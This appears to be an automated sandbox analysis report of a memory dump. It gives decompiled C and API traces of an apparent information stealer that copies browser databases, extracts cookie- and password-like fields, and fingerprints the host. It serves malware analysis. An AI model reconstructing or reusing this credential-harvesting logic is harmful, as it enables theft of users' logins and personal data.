lstrcatA.KERNEL32(0041D300,0041D300,?,?,?,?,00000104,?,00001388), ref: 0040543E
lstrcatA.KERNEL32(008AC200,008AC200,?,?,?,?,00000104,?,00001388), ref: 0040544F

Part of subcall function 0040A940: GetUserDefaultLocaleName.KERNEL32(?,00000055), ref: 0040A952

lstrcatA.KERNEL32(00000000,00000000,?,?,?,?,00000104,?,00001388), ref: 0040545F
lstrcatA.KERNEL32(0041D304,0041D304,?,?,?,?,00000104,?,00001388), ref: 0040546E
lstrcatA.KERNEL32(008AC2A0,008AC2A0,?,?,?,?,00000104,?,00001388), ref: 0040547E

Part of subcall function 0040A980: GetProcessHeap.KERNEL32(00000000,000001F4), ref: 0040A990
Part of subcall function 0040A980: HeapAlloc.KERNEL32(00000000), ref: 0040A997
Part of subcall function 0040A980: GetKeyboardLayoutList.USER32(00000000,00000000), ref: 0040A9B8
Part of subcall function 0040A980: LocalAlloc.KERNEL32(00000040,?), ref: 0040A9D0
Part of subcall function 0040A980: GetKeyboardLayoutList.USER32(?,00000000), ref: 0040A9E4
Part of subcall function 0040A980: GetLocaleInfoA.KERNEL32(?,00000002,?,00000200), ref: 0040AA39
Part of subcall function 0040A980: wsprintfA.USER32 ref: 0040AA62
Part of subcall function 0040A980: wsprintfA.USER32 ref: 0040AA80
Part of subcall function 0040A980: LocalFree.KERNEL32(00000000), ref: 0040AABA

lstrcatA.KERNEL32(00000000,00000000,?,?,?,?,00000104,?,00001388), ref: 0040548E
lstrcatA.KERNEL32(0041D300,0041D300,?,?,?,?,00000104,?,00001388), ref: 0040549D
lstrcatA.KERNEL32(008B2868,008B2868,?,?,?,?,00000104,?,00001388), ref: 004054AE

Part of subcall function 0040AAD0: GetSystemPowerStatus.KERNEL32(?), ref: 0040AADA

lstrcatA.KERNEL32(00000000,00000000,?,?,?,?,00000104,?,00001388), ref: 004054BE
lstrcatA.KERNEL32(0041D304,0041D304,?,?,?,?,00000104,?,00001388), ref: 004054CD
lstrcatA.KERNEL32(008B2838,008B2838,?,?,?,?,00000104,?,00001388), ref: 004054DE

Part of subcall function 0040AB00: GetProcessHeap.KERNEL32(00000000,00000104), ref: 0040AB14
Part of subcall function 0040AB00: HeapAlloc.KERNEL32(00000000), ref: 0040AB1B
Part of subcall function 0040AB00: RegOpenKeyExA.KERNEL32(80000002,008A9178,00000000,00020119,?), ref: 0040AB3B
Part of subcall function 0040AB00: RegQueryValueExA.KERNEL32(?,008B3A98,00000000,00000000,?,000000FF), ref: 0040AB5C
Part of subcall function 0040AB00: RegCloseKey.ADVAPI32(?), ref: 0040AB66

lstrcatA.KERNEL32(00000000,00000000,?,?,?,?,00000104,?,00001388), ref: 004054EE
lstrcatA.KERNEL32(0041D304,0041D304,?,?,?,?,00000104,?,00001388), ref: 004054FD
lstrcatA.KERNEL32(008B28B0,008B28B0,?,?,?,?,00000104,?,00001388), ref: 0040550D

Part of subcall function 0040AB80: GetProcessHeap.KERNEL32(00000000,00000104), ref: 0040AB8D
Part of subcall function 0040AB80: HeapAlloc.KERNEL32(00000000), ref: 0040AB94
Part of subcall function 0040AB80: GlobalMemoryStatusEx.KERNEL32(00000040,?,00000000,00000040), ref: 0040ABB5
Part of subcall function 0040AB80: __aulldiv.LIBCMT ref: 0040ABCF
Part of subcall function 0040AB80: wsprintfA.USER32 ref: 0040ABFB

lstrcatA.KERNEL32(00000000,00000000,?,?,?,?,00000104,?,00001388), ref: 0040551D
lstrcatA.KERNEL32(0041D304,0041D304,?,?,?,?,00000104,?,00001388), ref: 0040552C
lstrcatA.KERNEL32(008B2CD8,008B2CD8,?,?,?,?,00000104,?,00001388), ref: 0040553D

Part of subcall function 0040AC10: GetProcessHeap.KERNEL32(00000000,00000104), ref: 0040AC24
Part of subcall function 0040AC10: HeapAlloc.KERNEL32(00000000), ref: 0040AC2B
Part of subcall function 0040AC10: RegOpenKeyExA.KERNEL32(80000002,008A9098,00000000,00020119,?), ref: 0040AC4B
Part of subcall function 0040AC10: RegQueryValueExA.KERNEL32(?,008B4100,00000000,00000000,?,000000FF), ref: 0040AC6C
Part of subcall function 0040AC10: RegCloseKey.ADVAPI32(?), ref: 0040AC76

lstrcatA.KERNEL32(00000000,00000000,?,?,?,?,00000104,?,00001388), ref: 0040554D
lstrcatA.KERNEL32(008B2CF8,008B2CF8,?,?,?,?,00000104,?,00001388), ref: 0040555E

Part of subcall function 0040AC90: GetCurrentProcess.KERNEL32(00000000), ref: 0040AC9F
Part of subcall function 0040AC90: IsWow64Process.KERNEL32(00000000), ref: 0040ACA6

lstrcatA.KERNEL32(00000000,00000000,?,?,?,?,00000104,?,00001388), ref: 0040556E
lstrcatA.KERNEL32(008B2D38,008B2D38,?,?,?,?,00000104,?,00001388), ref: 0040557F
lstrcatA.KERNEL32(0041D304,0041D304,?,?,?,?,00000104,?,00001388), ref: 0040558E
lstrcatA.KERNEL32(008B2880,008B2880,?,?,?,?,00000104,?,00001388), ref: 0040559F
lstrcatA.KERNEL32(00000000,00000000,?,?,?,?,00000104,?,00001388), ref: 004055AF
lstrcatA.KERNEL32(0041D304,0041D304,?,?,?,?,00000104,?,00001388), ref: 004055BE
lstrcatA.KERNEL32(008AC520,008AC520,?,?,?,?,00000104,?,00001388), ref: 004055CF

Part of subcall function 0040AD00: wsprintfA.USER32 ref: 0040AD5C

lstrcatA.KERNEL32(00000000,00000000,?,?,?,?,00000104,?,00001388), ref: 004055DF
lstrcatA.KERNEL32(0041D300,0041D300,?,?,?,?,00000104,?,00001388), ref: 004055EE
lstrcatA.KERNEL32(008B2898,008B2898,?,?,?,?,00000104,?,00001388), ref: 004055FE

Part of subcall function 0040A7B0: GetProcessHeap.KERNEL32(00000000,00000104), ref: 0040A7BD
Part of subcall function 0040A7B0: HeapAlloc.KERNEL32(00000000), ref: 0040A7C4
Part of subcall function 0040A7B0: GetComputerNameA.KERNEL32(?,00000104), ref: 0040A7DC

lstrcatA.KERNEL32(00000000,00000000,?,?,?,?,00000104,?,00001388), ref: 0040560E
lstrcatA.KERNEL32(0041D304,0041D304,?,?,?,?,00000104,?,00001388), ref: 0040561D
lstrcatA.KERNEL32(008B2988,008B2988,?,?,?,?,00000104,?,00001388), ref: 0040562E

Part of subcall function 0040A800: GetProcessHeap.KERNEL32(00000000,00000104,00406644,JohnDoe), ref: 0040A80D
Part of subcall function 0040A800: HeapAlloc.KERNEL32(00000000), ref: 0040A814
Part of subcall function 0040A800: GetUserNameA.ADVAPI32(?,00000104), ref: 0040A82C

lstrcatA.KERNEL32(00000000,00000000,?,?,?,?,00000104,?,00001388), ref: 0040563E
lstrcatA.KERNEL32(0041D304,0041D304,?,?,?,?,00000104,?,00001388), ref: 0040564D
lstrcatA.KERNEL32(008B2850,008B2850,?,?,?,?,00000104,?,00001388), ref: 0040565E
lstrcatA.KERNEL32(00000000,00000000,?,?,?,?,00000104,?,00001388), ref: 0040566E
lstrcatA.KERNEL32(0041D304,0041D304,?,?,?,?,00000104,?,00001388), ref: 0040567D
lstrcatA.KERNEL32(008B26E8,008B26E8,?,?,?,?,00000104,?,00001388), ref: 0040568D

Part of subcall function 0040ADC0: GetProcessHeap.KERNEL32(00000000,00000104), ref: 0040ADD4
Part of subcall function 0040ADC0: HeapAlloc.KERNEL32(00000000), ref: 0040ADDB
Part of subcall function 0040ADC0: RegOpenKeyExA.KERNEL32(80000002,008AF2A8,00000000,00020119,?), ref: 0040ADFB
Part of subcall function 0040ADC0: RegQueryValueExA.KERNEL32(?,008B4028,00000000,00000000,?,000000FF), ref: 0040AE1C
Part of subcall function 0040ADC0: RegCloseKey.ADVAPI32(?), ref: 0040AE26

lstrcatA.KERNEL32(00000000,00000000,?,?,?,?,00000104,?,00001388), ref: 0040569D
lstrcatA.KERNEL32(0041D304,0041D304,?,?,?,?,00000104,?,00001388), ref: 004056AC
lstrcatA.KERNEL32(008B2DD8,008B2DD8,?,?,?,?,00000104,?,00001388), ref: 004056BD

Part of subcall function 0040AE40: GetCurrentHwProfileA.ADVAPI32(?), ref: 0040AE4D
Part of subcall function 0040AE40: GetProcessHeap.KERNEL32(00000000,00000064), ref: 0040AE5B
Part of subcall function 0040AE40: HeapAlloc.KERNEL32(00000000), ref: 0040AE62
Part of subcall function 0040AE40: lstrcatA.KERNEL32(?,?,?,00000000,00000004), ref: 0040AE89

lstrcatA.KERNEL32(00000000,00000000,?,?,?,?,00000104,?,00001388), ref: 004056CD
lstrcatA.KERNEL32(0041D300,0041D300,?,?,?,?,00000104,?,00001388), ref: 004056DC
lstrcatA.KERNEL32(008AC2C0,008AC2C0,?,?,?,?,00000104,?,00001388), ref: 004056ED
lstrcatA.KERNEL32(0041D304,0041D304,?,?,?,?,00000104,?,00001388), ref: 004056FC

Part of subcall function 0040AEB0: RegOpenKeyExA.KERNEL32(80000002,008AFFB8,00000000,00020019,00000000), ref: 0040AF02

lstrlen.KERNEL32(?,?,?,?,?,?,?,00000104,?,00001388), ref: 00405712

Memory Dump Source

Source File: 00000016.00000002.524651161.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Similarity

API ID: lstrcat$Heap$Process$Alloc$Openwsprintf$CloseName$CurrentLocalQueryValue$KeyboardLayoutListLocaleStatusTimeUser$AllocateComputerDefaultFileFreeGlobalHandleInfoInformationMemoryModulePowerProfileSystemWow64Zone__aulldiv_memsetlstrlen
String ID:
API String ID: 2407494312-0
Opcode ID: 47af442c1ba4249cc9793e52cc4e2c12fab5d441cf2256c70d3189a78bfcc7db
Instruction ID: 72b409b3de4b5b58a11dcc845d9904b5e40b9ce59d5c9b381f3c2ee527ca2d09
Opcode Fuzzy Hash: 47af442c1ba4249cc9793e52cc4e2c12fab5d441cf2256c70d3189a78bfcc7db
Instruction Fuzzy Hash: 8BC104B6B00204FFC714DBE4DE4AE6E77B9AB5C3017648568F605D3261CB35AA12DB18

Uniqueness

Uniqueness Score: -1.00%

Function 004078D0, Relevance: 45.3, APIs: 30, Instructions: 284
stringmemoryfileCOMMON

Download Yara Rule

C-Code - Quality: 55%

			E004078D0(void* __eflags, CHAR* _a4, intOrPtr _a8, intOrPtr _a12, intOrPtr _a16, intOrPtr _a20, intOrPtr _a24) {
				char _v8;
				char _v12;
				char _v276;
				char _v540;
				CHAR* _v544;
				CHAR* _v548;
				CHAR* _v552;
				CHAR* _v556;
				CHAR* _v560;
				CHAR* _v564;
				CHAR* _v568;
				void* _t84;
				int _t85;
				void* _t87;
				void* _t92;
				void* _t94;
				CHAR* _t106;
				CHAR* _t109;
				void* _t135;
				CHAR* _t137;
				CHAR* _t148;
				intOrPtr _t154;
				CHAR* _t162;
				CHAR* _t172;
				CHAR* _t175;
				void* _t197;
				void* _t200;
				void* _t201;
				void* _t204;
				void* _t210;
				void* _t213;

				_t213 = __eflags;
				GetCurrentDirectoryA(0x104,  &_v540);
				lstrcatA( &_v540, "\\");
				lstrcatA( &_v540, E0040B450( &_v540, _t213, 8));
				CopyFileA(_a4,  &_v540, 1); // executed
				E0040B2C0( &_v276, 0x104);
				_t175 =  *0x41f938; // 0x8b3e58
				wsprintfA( &_v276, _t175, _a12, _a8);
				_t84 =  *0x41ffd8( &_v540,  &_v8); // executed
				_t200 = _t197 + 0x1c;
				if(_t84 == 0) {
					_t154 =  *0x41fad8; // 0x8a4d98
					_t87 =  *0x41ff90(_v8, _t154, 0xffffffff,  &_v12, 0); // executed
					_t201 = _t200 + 0x14;
					if(_t87 == 0) {
						_t92 = RtlAllocateHeap(GetProcessHeap(), 0, 0xf423f); // executed
						_v544 = _t92;
						while(1) {
							_t94 =  *0x41ffac(_v12); // executed
							_t204 = _t201 + 4;
							if(_t94 != 0x64) {
								break;
							}
							_v560 =  *0x41ffc8(_v12, 0);
							_v548 =  *0x41ffc8(_v12, 1);
							_v568 =  *0x41ffc8(_v12, 2);
							_v552 =  *0x41ffc8(_v12, 3);
							_v564 =  *0x41ffc8(_v12, 4);
							_t106 =  *0x41ffc8(_v12, 5);
							_t210 = _t204 + 0x30;
							_v556 = _t106;
							_push("0");
							_t160 = _v548;
							_push(_v548);
							if( *0x4201dc() != 0) {
								E0040B280(_t160, _v548, 0, 4);
								_t109 =  *0x41f90c; // 0x8b2c78
								_t161 = _v548;
								lstrcatA(_v548, _t109);
							} else {
								E0040B280(_t160, _v548, 0, 4);
								_t148 =  *0x41fc38; // 0x8b2b08
								_t161 = _v548;
								lstrcatA(_v548, _t148);
							}
							_push("0");
							_push(_v552);
							if( *0x4201dc() != 0) {
								E0040B280(_t161, _v552, 0, 4);
								_t162 =  *0x41f90c; // 0x8b2c78
								lstrcatA(_v552, _t162);
							} else {
								E0040B280(_t161, _v552, 0, 4);
								_t172 =  *0x41fc38; // 0x8b2b08
								lstrcatA(_v552, _t172);
							}
							_t163 =  *_v564;
							if( *_v564 == 0x2d) {
								E0040B280(_t163, _v564, 0, 4);
								lstrcatA(_v564, "0");
							}
							lstrcatA(_v544, _v560);
							lstrcatA(_v544, "\t");
							lstrcatA(_v544, _v548);
							lstrcatA(_v544, "\t");
							lstrcatA(_v544, _v568);
							lstrcatA(_v544, "\t");
							lstrcatA(_v544, _v552);
							lstrcatA(_v544, "\t");
							lstrcatA(_v544, _v564);
							lstrcatA(_v544, "\t");
							lstrcatA(_v544, _v556);
							lstrcatA(_v544, "\t");
							_t135 =  *0x41ffb8(_v12, 6, _a16, _a20);
							_t137 = E00406DF0( *0x41ffc0(), _v12, 6, _t135);
							_t201 = _t210 + 0x20;
							lstrcatA(_v544, _t137);
							lstrcatA(_v544, "\n");
						}
						E004133B0(_a24,  &_v276, _v544,  *0x42009c(_v544)); // executed
						_t201 = _t204 + 0x10;
						E0040B2C0( &_v544, 4);
					}
					 *0x41ffb0(_v12);
					 *0x41ffdc(_v8); // executed
				}
				_t85 = DeleteFileA( &_v540); // executed
				return _t85;
			}

0x004078d0
0x004078e5
0x004078f7
0x0040790f
0x00407922
0x00407934
0x00407941
0x0040794f
0x00407963
0x00407969
0x0040796e
0x0040797c
0x00407987
0x0040798d
0x00407992
0x004079a6
0x004079ac
0x004079b2
0x004079b6
0x004079bc
0x004079c2
0x00000000
0x00000000
0x004079d7
0x004079ec
0x00407a01
0x00407a16
0x00407a2b
0x00407a37
0x00407a3d
0x00407a40
0x00407a46
0x00407a4b
0x00407a51
0x00407a5a
0x00407a8c
0x00407a91
0x00407a97
0x00407a9e
0x00407a5c
0x00407a67
0x00407a6c
0x00407a72
0x00407a79
0x00407a79
0x00407aa4
0x00407aaf
0x00407ab8
0x00407aeb
0x00407af0
0x00407afe
0x00407aba
0x00407ac5
0x00407aca
0x00407ad8
0x00407ad8
0x00407b0a
0x00407b10
0x00407b1d
0x00407b2e
0x00407b2e
0x00407b42
0x00407b54
0x00407b68
0x00407b7a
0x00407b8e
0x00407ba0
0x00407bb4
0x00407bc6
0x00407bda
0x00407bec
0x00407c00
0x00407c12
0x00407c26
0x00407c40
0x00407c45
0x00407c50
0x00407c62
0x00407c62
0x00407c8d
0x00407c92
0x00407c9e
0x00407c9e
0x00407ca7
0x00407cb4
0x00407cba
0x00407cc4
0x00407ccd

APIs

GetCurrentDirectoryA.KERNEL32(00000104,?), ref: 004078E5
lstrcatA.KERNEL32(?,004187CC), ref: 004078F7

Part of subcall function 0040B450: GetSystemTime.KERNEL32(?,?,00000104), ref: 0040B471

lstrcatA.KERNEL32(?,00000000), ref: 0040790F
CopyFileA.KERNEL32(00000000,?,00000001), ref: 00407922
wsprintfA.USER32 ref: 0040794F
GetProcessHeap.KERNEL32(00000000,000F423F), ref: 0040799F
RtlAllocateHeap.NTDLL(00000000), ref: 004079A6
StrCmpCA.SHLWAPI(?,0041D320), ref: 00407A52
lstrcatA.KERNEL32(?,008B2B08,?,00000000,00000004), ref: 00407A79
lstrcatA.KERNEL32(?,008B2C78,?,00000000,00000004), ref: 00407A9E
StrCmpCA.SHLWAPI(?,0041D320), ref: 00407AB0
lstrcatA.KERNEL32(?,008B2B08,?,00000000,00000004), ref: 00407AD8
lstrcatA.KERNEL32(?,008B2C78,?,00000000,00000004), ref: 00407AFE

Part of subcall function 00406DF0: _memset.LIBCMT ref: 00406E42
Part of subcall function 00406DF0: LocalAlloc.KERNEL32(00000040,?), ref: 00406E91
Part of subcall function 00406DF0: lstrcatA.KERNEL32(?,00000000,?,00001388), ref: 00406EF7

lstrcatA.KERNEL32(?,0041D320,?,00000000,00000004), ref: 00407B2E
lstrcatA.KERNEL32(?,?), ref: 00407B42
lstrcatA.KERNEL32(?,0041D92C), ref: 00407B54
lstrcatA.KERNEL32(?,?), ref: 00407B68
lstrcatA.KERNEL32(?,0041D92C), ref: 00407B7A
lstrcatA.KERNEL32(?,?), ref: 00407B8E
lstrcatA.KERNEL32(?,0041D92C), ref: 00407BA0
lstrcatA.KERNEL32(?,?), ref: 00407BB4
lstrcatA.KERNEL32(?,0041D92C), ref: 00407BC6
lstrcatA.KERNEL32(?,?), ref: 00407BDA
lstrcatA.KERNEL32(?,0041D92C), ref: 00407BEC
lstrcatA.KERNEL32(?,?), ref: 00407C00
lstrcatA.KERNEL32(?,0041D92C), ref: 00407C12
lstrcatA.KERNEL32(?,00000000), ref: 00407C50
lstrcatA.KERNEL32(?,0041D304), ref: 00407C62
lstrlen.KERNEL32(?), ref: 00407C74
DeleteFileA.KERNEL32(?), ref: 00407CC4

Memory Dump Source

Source File: 00000016.00000002.524651161.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Similarity

API ID: lstrcat$FileHeap$AllocAllocateCopyCurrentDeleteDirectoryLocalProcessSystemTime_memsetlstrlenwsprintf
String ID:
API String ID: 324122576-0
Opcode ID: 3d3a39fe31ad9b2c47d09a29d094130519487cd86202d1b727ddcb71f9965957
Instruction ID: 3422fe587030836b6222249b8303a2c954661a6643dd16534e8c2335e7aaf04a
Opcode Fuzzy Hash: 3d3a39fe31ad9b2c47d09a29d094130519487cd86202d1b727ddcb71f9965957
Instruction Fuzzy Hash: 6EB197B5A40218BBC720DFA4EC8DFEE7778AB58700F0085A9F605A7181C7759A96CF58

Uniqueness

Uniqueness Score: -1.00%

Function 00407640, Relevance: 31.7, APIs: 21, Instructions: 174
stringfileCOMMON

Download Yara Rule

C-Code - Quality: 66%

			E00407640(void* __eflags, CHAR* _a4, CHAR* _a8, CHAR* _a12, intOrPtr _a16, intOrPtr _a20) {
				char _v8;
				char _v5012;
				char _v5016;
				char _v5284;
				CHAR* _v5288;
				CHAR* _v5292;
				void* _t39;
				int _t40;
				void* _t42;
				void* _t46;
				void* _t52;
				CHAR* _t54;
				CHAR* _t61;
				CHAR* _t63;
				CHAR* _t66;
				CHAR* _t69;
				CHAR* _t75;
				CHAR* _t77;
				CHAR* _t87;
				CHAR* _t88;
				CHAR* _t89;
				CHAR* _t90;
				CHAR* _t92;
				CHAR* _t93;
				CHAR* _t94;
				CHAR* _t95;
				intOrPtr _t98;
				CHAR* _t103;
				CHAR* _t104;
				CHAR* _t106;
				CHAR* _t107;
				CHAR* _t108;
				CHAR* _t109;
				void* _t111;
				void* _t113;
				void* _t114;
				void* _t121;

				_t121 = __eflags;
				E00416530(0x14a8);
				GetCurrentDirectoryA(0x104,  &_v5284);
				lstrcatA( &_v5284, "\\");
				lstrcatA( &_v5284, E0040B450( &_v5284, _t121, 8));
				CopyFileA(_a8,  &_v5284, 1); // executed
				_t39 =  *0x41ffd8( &_v5284,  &_v8); // executed
				_t113 = _t111 + 0xc;
				if(_t39 == 0) {
					_t98 =  *0x41f878; // 0x8a8a68
					_t42 =  *0x41ff90(_v8, _t98, 0xffffffff,  &_v5016, 0); // executed
					_t114 = _t113 + 0x14;
					if(_t42 == 0) {
						while(1) {
							_t46 =  *0x41ffac(_v5016);
							_t114 = _t114 + 4;
							if(_t46 != 0x64) {
								goto L4;
							}
							_v5292 =  *0x41ffc8(_v5016, 0);
							_v5288 =  *0x41ffc8(_v5016, 1);
							E0040B2C0( &_v5012, 0x1388);
							_t52 =  *0x41ffb8(_v5016, 2, _a16, _a20);
							_t54 = E00406DF0( *0x41ffc0(), _v5016, 2, _t52);
							_t114 = _t114 + 0x30;
							lstrcatA( &_v5012, _t54);
							_t87 =  *0x41fae0; // 0x8b2d88
							_t103 =  *0x41ffe0; // 0x0
							lstrcatA(_t103, _t87);
							_t88 =  *0x41ffe0; // 0x0
							lstrcatA(_t88, _a12);
							_t104 =  *0x41ffe0; // 0x0
							lstrcatA(_t104, "\n");
							_t61 =  *0x41fb28; // 0x8b2de8
							_t89 =  *0x41ffe0; // 0x0
							lstrcatA(_t89, _t61);
							_t63 =  *0x41ffe0; // 0x0
							lstrcatA(_t63, _a4);
							_t90 =  *0x41ffe0; // 0x0
							lstrcatA(_t90, "\n");
							_t106 =  *0x41f8f4; // 0x8b2e08
							_t66 =  *0x41ffe0; // 0x0
							lstrcatA(_t66, _t106);
							_t107 =  *0x41ffe0; // 0x0
							lstrcatA(_t107, _v5292);
							_t69 =  *0x41ffe0; // 0x0
							lstrcatA(_t69, "\n");
							_t92 =  *0x41f81c; // 0x8b2e28
							_t108 =  *0x41ffe0; // 0x0
							lstrcatA(_t108, _t92);
							_t93 =  *0x41ffe0; // 0x0
							lstrcatA(_t93, _v5288);
							_t109 =  *0x41ffe0; // 0x0
							lstrcatA(_t109, "\n");
							_t75 =  *0x41f8fc; // 0x8b2e38
							_t94 =  *0x41ffe0; // 0x0
							lstrcatA(_t94, _t75);
							_t77 =  *0x41ffe0; // 0x0
							lstrcatA(_t77,  &_v5012);
							_t95 =  *0x41ffe0; // 0x0
							lstrcatA(_t95, "\n\n");
						}
					}
					L4:
					 *0x41ffb0(_v5016);
					 *0x41ffdc(_v8);
				}
				_t40 = DeleteFileA( &_v5284); // executed
				return _t40;
			}

0x00407640
0x00407648
0x00407659
0x0040766b
0x00407683
0x00407696
0x004076a7
0x004076ad
0x004076b2
0x004076c3
0x004076ce
0x004076d4
0x004076d9
0x004076df
0x004076e6
0x004076ec
0x004076f2
0x00000000
0x00000000
0x0040770a
0x00407722
0x00407734
0x0040774a
0x00407767
0x0040776c
0x00407777
0x0040777d
0x00407784
0x0040778b
0x00407795
0x0040779c
0x004077a7
0x004077ae
0x004077b4
0x004077ba
0x004077c1
0x004077cb
0x004077d1
0x004077dc
0x004077e3
0x004077e9
0x004077f0
0x004077f6
0x00407803
0x0040780a
0x00407815
0x0040781b
0x00407821
0x00407828
0x0040782f
0x0040783c
0x00407843
0x0040784e
0x00407855
0x0040785b
0x00407861
0x00407868
0x00407875
0x0040787b
0x00407886
0x0040788d
0x0040788d
0x004076df
0x00407898
0x0040789f
0x004078ac
0x004078b2
0x004078bc
0x004078c5

APIs

GetCurrentDirectoryA.KERNEL32(00000104,?,?,0040842E,?,?,00000001,00000000,00000000), ref: 00407659
lstrcatA.KERNEL32(?,004187CC,?,0040842E,?,?,00000001,00000000,00000000), ref: 0040766B

Part of subcall function 0040B450: GetSystemTime.KERNEL32(?,?,00000104), ref: 0040B471

lstrcatA.KERNEL32(?,00000000,00000000), ref: 00407683
CopyFileA.KERNEL32(?,?,00000001), ref: 00407696
DeleteFileA.KERNEL32(?), ref: 004078BC

Part of subcall function 00406DF0: _memset.LIBCMT ref: 00406E42
Part of subcall function 00406DF0: LocalAlloc.KERNEL32(00000040,?), ref: 00406E91
Part of subcall function 00406DF0: lstrcatA.KERNEL32(?,00000000,?,00001388), ref: 00406EF7

lstrcatA.KERNEL32(?,00000000), ref: 00407777
lstrcatA.KERNEL32(00000000,008B2D88), ref: 0040778B
lstrcatA.KERNEL32(00000000,?), ref: 0040779C
lstrcatA.KERNEL32(00000000,0041D304), ref: 004077AE
lstrcatA.KERNEL32(00000000,008B2DE8), ref: 004077C1
lstrcatA.KERNEL32(00000000,?), ref: 004077D1
lstrcatA.KERNEL32(00000000,0041D304), ref: 004077E3
lstrcatA.KERNEL32(00000000,008B2E08), ref: 004077F6
lstrcatA.KERNEL32(00000000,?), ref: 0040780A
lstrcatA.KERNEL32(00000000,0041D304), ref: 0040781B
lstrcatA.KERNEL32(00000000,008B2E28), ref: 0040782F
lstrcatA.KERNEL32(00000000,?), ref: 00407843
lstrcatA.KERNEL32(00000000,0041D304), ref: 00407855
lstrcatA.KERNEL32(00000000,008B2E38), ref: 00407868
lstrcatA.KERNEL32(00000000,?), ref: 0040787B
lstrcatA.KERNEL32(00000000,0041D300), ref: 0040788D

Memory Dump Source

Source File: 00000016.00000002.524651161.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Similarity

API ID: lstrcat$File$AllocCopyCurrentDeleteDirectoryLocalSystemTime_memset
String ID:
API String ID: 2684911966-0
Opcode ID: fc849c044aa7107d784a66d0daea5e0d67ae4eef8f28dbdc752471cfd4300590
Instruction ID: 1fe679ac29418dabb41311f37e8934369bbdeb95588f886fa20391101ae7577a
Opcode Fuzzy Hash: fc849c044aa7107d784a66d0daea5e0d67ae4eef8f28dbdc752471cfd4300590
Instruction Fuzzy Hash: 676174B1A00204AFC714DBA4ED49EFA33B8FB48301F448579F60993262D7759A57CF69

Uniqueness

Uniqueness Score: -1.00%

Function 0040AEB0, Relevance: 29.9, APIs: 15, Strings: 2, Instructions: 129
registryCOMMON

Download Yara Rule

C-Code - Quality: 88%

			E0040AEB0(CHAR* _a4) {
				int _v8;
				char _v1036;
				char _v2060;
				void* _v2064;
				void* _v2068;
				int* _v2072;
				int _v2076;
				char _v3100;
				int _v3104;
				long _t44;
				long _t48;
				long _t51;
				long _t54;
				long _t60;
				char* _t69;
				char* _t77;
				char* _t84;
				char* _t87;
				void* _t92;

				_v2068 = 0;
				_v2064 = 0;
				_v2072 = 0;
				_v8 = 0xf003f;
				_v2076 = 0;
				_t69 =  *0x41f9e0; // 0x8affb8
				_t44 = RegOpenKeyExA(0x80000002, _t69, 0, 0x20019,  &_v2068); // executed
				if(_t44 == 0) {
					_v3104 = 0;
					while(_v2072 == 0) {
						_v2076 = 0x400;
						_t48 = RegEnumKeyExA(_v2068, _v3104,  &_v1036,  &_v2076, 0, 0, 0, 0); // executed
						_v2072 = _t48;
						if(_v2072 != 0) {
							L14:
							_v3104 = _v3104 + 1;
							continue;
						}
						_t84 =  *0x41f9e0; // 0x8affb8
						wsprintfA( &_v2060, "%s\\%s", _t84,  &_v1036);
						_t92 = _t92 + 0x10;
						_t51 = RegOpenKeyExA(0x80000002,  &_v2060, 0, 0x20019,  &_v2064); // executed
						if(_t51 == 0) {
							_v2076 = 0x400;
							_t87 =  *0x41fec4; // 0x8b3f68
							_t54 = RegQueryValueExA(_v2064, _t87, 0,  &_v8,  &_v3100,  &_v2076); // executed
							if(_t54 == 0) {
								_push( &_v3100);
								if( *0x42009c() > 1) {
									lstrcatA(_a4,  &_v3100);
									_v2076 = 0x400;
									_t77 =  *0x41fbfc; // 0x8b3fe0
									_t60 = RegQueryValueExA(_v2064, _t77, 0,  &_v8,  &_v3100,  &_v2076); // executed
									if(_t60 == 0) {
										lstrcatA(_a4, " ");
										lstrcatA(_a4,  &_v3100);
									}
									lstrcatA(_a4, "\n");
								}
							}
							RegCloseKey(_v2064);
							goto L14;
						}
						RegCloseKey(_v2064);
						return RegCloseKey(_v2068);
					}
					return RegCloseKey(_v2068);
				}
				return _t44;
			}

0x0040aeb9
0x0040aec3
0x0040aecd
0x0040aed7
0x0040aede
0x0040aef6
0x0040af02
0x0040af0a
0x0040af11
0x0040af2c
0x0040af39
0x0040af67
0x0040af6d
0x0040af7a
0x0040b0b5
0x0040af26
0x00000000
0x0040af26
0x0040af87
0x0040af9a
0x0040afa0
0x0040afbd
0x0040afc5
0x0040afe6
0x0040b004
0x0040b012
0x0040b01a
0x0040b026
0x0040b030
0x0040b03d
0x0040b043
0x0040b061
0x0040b06f
0x0040b077
0x0040b082
0x0040b093
0x0040b093
0x0040b0a2
0x0040b0a2
0x0040b030
0x0040b0af
0x00000000
0x0040b0af
0x0040afce
0x00000000
0x0040afdb
0x00000000
0x0040b0c1
0x00000000

APIs

RegOpenKeyExA.KERNEL32(80000002,008AFFB8,00000000,00020019,00000000), ref: 0040AF02
RegEnumKeyExA.KERNEL32(00000000,00000000,?,00000400,00000000,00000000,00000000,00000000), ref: 0040AF67
wsprintfA.USER32 ref: 0040AF9A
RegOpenKeyExA.KERNEL32(80000002,?,00000000,00020019,00000000), ref: 0040AFBD
RegCloseKey.ADVAPI32(00000000), ref: 0040AFCE
RegCloseKey.ADVAPI32(00000000), ref: 0040AFDB

Strings

%s\%s, xrefs: 0040AF8E
?, xrefs: 0040AED7

Memory Dump Source

Source File: 00000016.00000002.524651161.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Similarity

API ID: CloseOpen$Enumwsprintf
String ID: %s\%s$?
API String ID: 2323328657-4134130046
Opcode ID: 97ae34564adcead124e616739e0ee96f89b718b1434e94c0893f04b46043eade
Instruction ID: d4789cce983868a35042f95c774f8b34ea847cb90d5b7b5af3f54f0034bcd9a1
Opcode Fuzzy Hash: 97ae34564adcead124e616739e0ee96f89b718b1434e94c0893f04b46043eade
Instruction Fuzzy Hash: CA5122B1A0021CABDB20CF50DD49FEA77B8FB44304F50C5A9A249A6181DF749A86CFD9

Uniqueness

Uniqueness Score: -1.00%

Function 0040B890, Relevance: 21.2, APIs: 9, Strings: 3, Instructions: 156
COMMON

Download Yara Rule

C-Code - Quality: 40%

			E0040B890(void* __eflags, char _a8) {
				void* _v8;
				struct HWND__* _v12;
				char _v16;
				char _v20;
				char _v36;
				void* _v44;
				intOrPtr _v48;
				struct tagRECT _v64;
				struct HDC__* _v68;
				char _v72;
				void* _v76;
				char _v92;
				intOrPtr _v96;
				void* _t50;
				void* _t52;
				void* _t65;
				void* _t68;
				intOrPtr _t70;
				long _t71;
				intOrPtr _t100;

